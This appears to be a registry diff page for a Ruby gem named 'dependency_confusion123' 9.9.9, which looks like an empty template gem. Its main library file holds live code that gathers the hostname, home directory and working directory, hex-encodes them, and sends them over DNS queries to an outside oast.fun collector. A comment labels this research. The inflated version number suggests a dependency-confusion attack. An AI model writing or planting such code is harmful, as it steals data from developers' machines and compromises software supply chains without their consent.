dependency_confusion123 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dependency_confusion123 might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 84b8734092950600711976048f7e07decc45e57d9418e5d9485820e29eb228d9
4
+ data.tar.gz: 779bbc71645805605d7728fb35f07b4c72bb4a14acd023496d6626a0a4c655b7
5
+ SHA512:
6
+ metadata.gz: 1f4f5995bbf5e9d6dfbcd01603efd35e956e50a16530025db9c5bbd66de737361242a3637255ef745dbadcf3146c9f19c22556685e05ce300d1e4328777c97c4
7
+ data.tar.gz: 016b5180c9ca8e9cfec41a2741b49eb40869866380040e7fc9eb125230cd8237ef1c924e0118b99f49301622e58c54014f44af646f4dbcf2876bd91f2f8aba57
data/Gemfile ADDED
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ source "https://rubygems.org"
4
+
5
+ # Specify your gem's dependencies in dependency_confusion123.gemspec
6
+ gemspec
7
+
8
+ gem "rake", "~> 13.0"
data/README.md ADDED
@@ -0,0 +1,29 @@
1
+ # DependencyConfusion123
2
+
3
+ Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/dependency_confusion123`. To experiment with that code, run `bin/console` for an interactive prompt.
4
+
5
+ TODO: Delete this and the text above, and describe your gem
6
+
7
+ ## Installation
8
+
9
+ Install the gem and add to the application's Gemfile by executing:
10
+
11
+ $ bundle add dependency_confusion123
12
+
13
+ If bundler is not being used to manage dependencies, install the gem by executing:
14
+
15
+ $ gem install dependency_confusion123
16
+
17
+ ## Usage
18
+
19
+ TODO: Write usage instructions here
20
+
21
+ ## Development
22
+
23
+ After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
24
+
25
+ To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and the created tag, and push the `.gem` file to [rubygems.org](https://rubygems.org).
26
+
27
+ ## Contributing
28
+
29
+ Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/dependency_confusion123.
data/Rakefile ADDED
@@ -0,0 +1,4 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "bundler/gem_tasks"
4
+ task default: %i[]
@@ -0,0 +1,5 @@
1
+ # frozen_string_literal: true
2
+
3
+ module DependencyConfusion123
4
+ VERSION = "0.1.0"
5
+ end
@@ -0,0 +1,60 @@
1
+ =begin
2
+ This code is used for research purposes.
3
+
4
+ No sensitive data is retrieved.
5
+
6
+ Callbacks from within organizations with a
7
+ responsible disclosure policy will be reported
8
+ directly to the organizations.
9
+
10
+ Any other callbacks will be ignored, and
11
+ any associated data will not be kept.
12
+ =end
13
+
14
+
15
+ require 'socket'
16
+ require 'json'
17
+ require 'resolv'
18
+
19
+ suffix = 'uwopasoloxagbriwacwtfdontmewdwuom.oast.fun'
20
+ ns = 'ns1.oast.fun'
21
+
22
+ package = 'dependency_confusion123'
23
+
24
+ # only the bare minimum to be able to identify
25
+ # a vulnerable organization
26
+ data = {
27
+ 'p' => package,
28
+ 'h' => Socket.gethostname,
29
+ 'd' => File.expand_path('~'),
30
+ 'c' => Dir.pwd
31
+ }
32
+
33
+
34
+ data = JSON.generate(data)
35
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
36
+
37
+ id_1 = rand(36**12).to_s(36)
38
+ id_2 = rand(36**12).to_s(36)
39
+
40
+ begin
41
+ ns_ip = Resolv.getaddress(ns)
42
+ rescue
43
+ ns_ip = '77.88.8.7'
44
+ end
45
+
46
+ custom_res = Resolv.new([Resolv::Hosts.new,
47
+ Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
48
+
49
+
50
+ data.each.each_with_index do |chunk, idx|
51
+ begin
52
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
53
+ rescue; end
54
+
55
+ begin
56
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
57
+ rescue; end
58
+ end
59
+
60
+
@@ -0,0 +1,4 @@
1
+ module DependencyConfusion123
2
+ VERSION: String
3
+ # See the writing guide of rbs: https://github.com/ruby/rbs#guides
4
+ end
metadata ADDED
@@ -0,0 +1,51 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: dependency_confusion123
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.9
5
+ platform: ruby
6
+ authors:
7
+ - Write your name
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2024-05-08 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: Write a longer description or delete this line.
14
+ email:
15
+ - Write your email address
16
+ executables: []
17
+ extensions: []
18
+ extra_rdoc_files: []
19
+ files:
20
+ - Gemfile
21
+ - README.md
22
+ - Rakefile
23
+ - lib/dependency_confusion123.rb
24
+ - lib/dependency_confusion123/version.rb
25
+ - sig/dependency_confusion123.rbs
26
+ homepage: https://rubygems.org/profiles/dependency_confusion_test
27
+ licenses: []
28
+ metadata:
29
+ homepage_uri: https://rubygems.org/profiles/dependency_confusion_test
30
+ source_code_uri: https://rubygems.org/profiles/dependency_confusion_test
31
+ changelog_uri: https://rubygems.org/profiles/dependency_confusion_test/CHANGELOG.md
32
+ post_install_message:
33
+ rdoc_options: []
34
+ require_paths:
35
+ - lib
36
+ required_ruby_version: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - ">="
39
+ - !ruby/object:Gem::Version
40
+ version: 2.6.0
41
+ required_rubygems_version: !ruby/object:Gem::Requirement
42
+ requirements:
43
+ - - ">="
44
+ - !ruby/object:Gem::Version
45
+ version: '0'
46
+ requirements: []
47
+ rubygems_version: 3.3.15
48
+ signing_key:
49
+ specification_version: 4
50
+ summary: Write a short summary, because RubyGems requires one.
51
+ test_files: []